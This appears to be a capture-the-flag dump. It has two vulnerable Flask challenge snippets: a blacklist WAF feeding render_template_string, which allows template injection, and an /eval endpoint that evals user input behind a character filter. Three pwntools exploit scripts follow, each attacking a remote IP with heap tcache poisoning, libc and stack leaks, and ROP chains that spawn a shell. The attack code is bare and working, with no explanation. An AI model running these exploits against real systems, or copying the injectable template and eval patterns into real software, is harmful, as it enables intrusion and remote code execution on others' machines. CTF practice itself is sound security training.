blacklist = ['_', '[', 'globals', 'url_for', 'count', 'length', 'init', 'request', 'builtins', 'select', 'dict', '(',
             'join', 'import', 'os', '{', 'open', 'eval', 'set', '%', 'for', 'class', '\'', '\"', 'chr', 'attr', '|']

def waf(s):
    for i in blacklist:
        if i in s.split('/')[-1]:
            return s + '?hacker'
    return render_template_string(s)
    
@app.errorhandler(404)
def page_not_found(e):
    url = waf(request.url)
    return render_template('404.html', error_page=url), 404

black = ["breakpoint", "help", "a"] #输入的字符串不能包含这些关键字

def is_nice(s):
    for char in s:
        if char not in string.printable or char in string.digits: #需要全是打印字符，且不包含数字
            return False
    for b in black:
        if b in s:
            return False
    return True
    
@app.route("/eval",methods=['post'])
def evalCode():
    code = request.form.get("code")
    num = len(set(code)) #查询字符传中不同字符的个数
    if not is_nice(code) or num > 10: #不同字符的个数必须不超过10
        return "gg"
    else:
        try:
            stdout_cap = io.StringIO()
            sys.stdout = stdout_cap
            eval(code)
            result = "success! :" + stdout_cap.getvalue()
            print(result)
            sys.stdout = sys.__stdout__
        except Exception as e:
            result = f'failed: {e}'
    return result

from pwn import*
#context.log_level='debug'
#context.log_level='error'
#sh=process('./chall')
sh=remote('114.116.233.171',10001)
libc=ELF('./libc.so.6')


sla = lambda x,y : sh.sendlineafter(x,y)
sa  = lambda x,y : sh.sendafter    (x,y)
ru  = lambda x   : sh.recvuntil    (x)
al  = lambda x   : sh.sendline     (x)
def calc_heap(addr):
    # Convert the address to a hexadecimal string without the '0x' prefix
    s = hex(addr)[2:]
    # Convert each character in the string to an integer in base 16
    s = [int(x, 16) for x in s]

    res = s.copy()
    for i in range(9):
        # Make sure not to go out of bounds
        if 3+i < len(res):
            res[3+i] ^= res[i]
        else:
            break  # Break the loop if going out of bounds

    # Convert the list of integers back to a string of hexadecimal digits
    res_str = "".join([hex(x)[2:] for x in res])
    # Convert the resulting hexadecimal string back to an integer
    return int(res_str, 16)

def encrypt(next,next_addr):
    temp=next_addr>>12
    return (temp^next)

def add(x,y,width,high,content):
    sla(b'> ',b'1')
    sla(b'x: ',str(x).encode())
    sla(b'y: ',str(y).encode())
    sla(b'width: ',str(width).encode())
    sla(b'height: ',str(high).encode())
    sla(b'color(1=red, 2=green): ',b'1')
    sla(b'content: ',content)

def delete(x,y):
    sla(b'> ',b'2')
    sla(b'x: ',str(x).encode())
    sla(b'y: ',str(y).encode())

def debug():
    gdb.attach(sh)
    pause()

def se(x,y):
    sla(b'> ',b'3')
    sla(b'x: ',str(x).encode())
    sla(b'y: ',str(y).encode())

def edit(content):
    sla(b'> ',b'4')
    sla(b'New content: ',content)

def show():
    sla(b'> ',b'5')

p=b'a'
i=1
for i in range(8):
    add(1,i,16,16,p)
    info(f"the {i} chunk")
i=1
se(1,7)
add(2,1,1,1,p)
for i in range(8):
    delete(1,i)

info(f"the {i} chunk")
show()
sh.recvuntil(b'Box content:\n')
leak_addr=u64(sh.recv(6).ljust(8,b'\x00'))
info(f'the leak addr:{hex(leak_addr)}')

libc_base=leak_addr-0x219CE0

free_hook=leak_addr+0x67C8
info(f'free_hook:{hex(free_hook)}')
for i in range(8):
    add(1,i,16,16,p)
    info(f"the {i} chunk")

se(1,2)
delete(1,1)
delete(1,2)
delete(1,3)
show()

sh.recvuntil(b'Box content:\n')
heap_leak=u64(sh.recv(8))
info(f'heap_leak:{hex(calc_heap(heap_leak))}')
heap_base=calc_heap(heap_leak)-0x970
info(f'heap_base:{hex(heap_base)}')
#debug()
key=u64(sh.recv(8))
info(f'key is: {hex(key)}')

next_addr=heap_base+0x820
malloc_hook=libc_base+0x2204A0
stack_leak=libc_base+libc.symbols['__environ']

victim_heap=heap_base+0xBC0

pal=p64(encrypt(victim_heap,next_addr))+p64(key)

victim_pal=p64(0)+p64(0x41)+p64(1)+p64(7)+p64(heap_base)+p64(0x10)+p64(0x10)+p64(stack_leak)+p64(0)+p64(0x111)

one_gadget=libc_base+0xebc85        #0xebc85  0xebc88  0xebce2  0xebd38   0xebd3f   0xebd43

#debug()
edit(pal)
info(f'the pal:{pal}')
info(f'the addr:{hex(victim_heap)}')

#debug()
add(1,1,16,16,p)
add(1,2,16,16,p)
add(1,3,16,16,p)
se(1,3)
#debug()
edit(victim_pal)
#debug()
se(1,7)
show()
sh.recvuntil(b'Box content:\n')
stack_addr=u64(sh.recv(6).ljust(8,b'\x00'))
info(f'stack_addr:{hex(stack_addr)}')
#debug()


ret_addr=stack_addr-2464+0x880
next_addr=heap_base+0x430
info(f'the ret_addr:{hex(ret_addr)}')
info(f'next_addr:{hex(next_addr)}')
se(1,3)
victim_pal=p64(0)+p64(0x41)+p64(1)+p64(7)+p64(heap_base)+p64(0x10)+p64(0x10)+p64(ret_addr)+p64(0)+p64(0x111)
edit(victim_pal)
se(1,7)
show()
sh.recvuntil(b'Box content:\n')
sh.recv(17)

code_base=u64(sh.recv(8))-0xDB6
info(f'code_base:{hex(code_base)}')
#debug()
syscall_ret=0x0000000000091316+libc_base
pop_rdi_ret=0x000000000002a3e5+libc_base
pop_rax_pop_rbx_pop_rbp_ret=0x0000000000147d18+libc_base
pop_rdx_pop_rcx_pop_rbx_ret=0x0000000000108b03+libc_base         #pop rdx; pop rcx; pop rbx; ret;
system = libc_base+libc.symbols['system']
ret_addr=0x01a+code_base

pop_rbp_ret=0x000000000000293+code_base
binsh_addr=libc_base+0x00000000001d8698

info(f'one_gadget:{one_gadget}')
#pal=p64(pop_rax_pop_rbx_pop_rbp_ret)+p64(0x3B)+p64(binsh_addr)+p64(0x1)+p64(pop_rdx_pop_rcx_pop_rbx_ret)+p64(0)*2+p64(binsh_addr)+p64(syscall_ret)
pal=p64(pop_rdi_ret)+p64(binsh_addr)+p64(ret_addr)+p64(system)
edit(pal)
show()
#debug()
sla(b'> ',b'aaa')




#debug()
sh.interactive()

from pwn import*
#sh=process('./leak_chain')
#context.log_level='debug'
sh=remote("114.116.233.171", 10003)
libc = ELF('/home/bamboo/glibc-all-in-one-master/libs/2.35-0ubuntu3.6_amd64/libc.so.6')


sla = lambda x,y : sh.sendlineafter(x,y)
sa  = lambda x,y : sh.sendafter    (x,y)
ru  = lambda x   : sh.recvuntil    (x)
al  = lambda x   : sh.sendline     (x)

def debug():
    gdb.attach(sh)
    pause()

sh.sendline(b'A' * 32)
sh.recvuntil(b'Hello ')
sh.recvuntil(b'\n')
heap_leak = (b'\x00' + sh.recvuntil(b'!\n')[:-2]).ljust(8, b'\x00')
heap_leak = u64(heap_leak)
info(f'heap leak: {hex(heap_leak)}')

libc_addr = heap_leak + 0x110
sh.sendafter(b'Continue?', b'Y')
sh.sendafter(b'name', b'A' * 32 + p64(libc_addr))
sh.recvuntil(b':3\n')
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
print("libc_addr====>",hex(libc_leak))

libc.address = libc_leak - 2208601

stack_addr = libc.symbols['__environ']
sh.sendafter(b'Continue?', b'Y')
sh.sendafter(b'name', b'A' * 32 + p64(stack_addr))
sh.recvuntil(b':3\n')
stack_leak = u64(sh.recv(6).ljust(8, b'\x00'))
print("stack_addr===>",hex(stack_addr))
#debug()

r_addr = stack_leak - 0x150
print('r_addr===>',hex(r_addr))
#debug()
sh.sendafter(b'Continue?', b'Y')
sh.sendafter(b'name', b'A' * 32 + p64(r_addr))
sh.recvuntil(b':3\n')
r_leak = u64(sh.recv(6).ljust(8, b'\x00'))
print('r_leak====>',hex(r_leak))
#debug()

flag_addr=r_leak+0x2d1e+36
print('flag_addr===>',flag_addr)
sh.sendafter(b'Continue?', b'Y')
sh.sendafter(b'name', b'A' * 32 + p64(flag_addr))
sh.recvuntil(b':3\n')
sh.interactive()

from pwn import*
#context.log_level='debug'
#sh=process('./go_start')
sh=remote('114.116.233.171',10005)
elf=ELF('./go_start')

buf=208*b'a'

pop_rax_pop_rbp_ret=0x00000000004042d1
pop_rbp_ret=0x0000000000401031
pop_rbx_ret=0x0000000000446c41
pop_rcx_ret=0x0000000000412ac3
ret=0x0000000000401032
pop_rdx_ret=0x000000000040e0a9

mov_rdi_rcx_add_rsp_40_pop_rbp_ret=0x0000000000450f4f
mov_rax_8_rcx_ret=0x000000000042ee0e  #mov qword ptr [rax + 8], rcx ; ret

syscall=0x0000000000463c49     # syscall
moc_rsi_rcx_add_rsp_20_pop_rbp_ret=0x0000000000457c44   #mov rsi, rcx; mov r8, rdi; add rsp, 0x20; pop rbp; ret; 
mov_rdx_rax_add_rsp_10h_pop_rbp_ret=0x00477d25 

#gdb.attach(sh,'b *0x00403366')
#pause()
rop=buf
rop+=p64(pop_rcx_ret)
rop+=p64(0x68732f6e69622f)
rop+=p64(pop_rax_pop_rbp_ret)
rop+=p64(elf.bss()-8)
rop+=p64(0)                #rbp
rop+=p64(mov_rax_8_rcx_ret)
rop+=p64(pop_rcx_ret)
rop+=p64(elf.bss())
rop+=p64(mov_rdi_rcx_add_rsp_40_pop_rbp_ret)
rop+=p64(0)*9

rop+=p64(pop_rax_pop_rbp_ret)
rop+=p64(0)*2
rop+=p64(mov_rdx_rax_add_rsp_10h_pop_rbp_ret)
rop+=p64(0)*3
rop+=p64(pop_rax_pop_rbp_ret)
rop+=p64(0x3b)
rop+=p64(0)
rop+=p64(pop_rbx_ret)
rop+=p64(0)
rop+=p64(pop_rcx_ret)
rop+=p64(0)
rop+=p64(moc_rsi_rcx_add_rsp_20_pop_rbp_ret)
rop+=p64(0)*5
rop+=p64(syscall)   #    syscall
print(rop)
#gdb.attach(sh)
#pause()
sh.recvuntil(b'would you like to play with me ?\n')
sh.sendline(rop)
sh.interactive()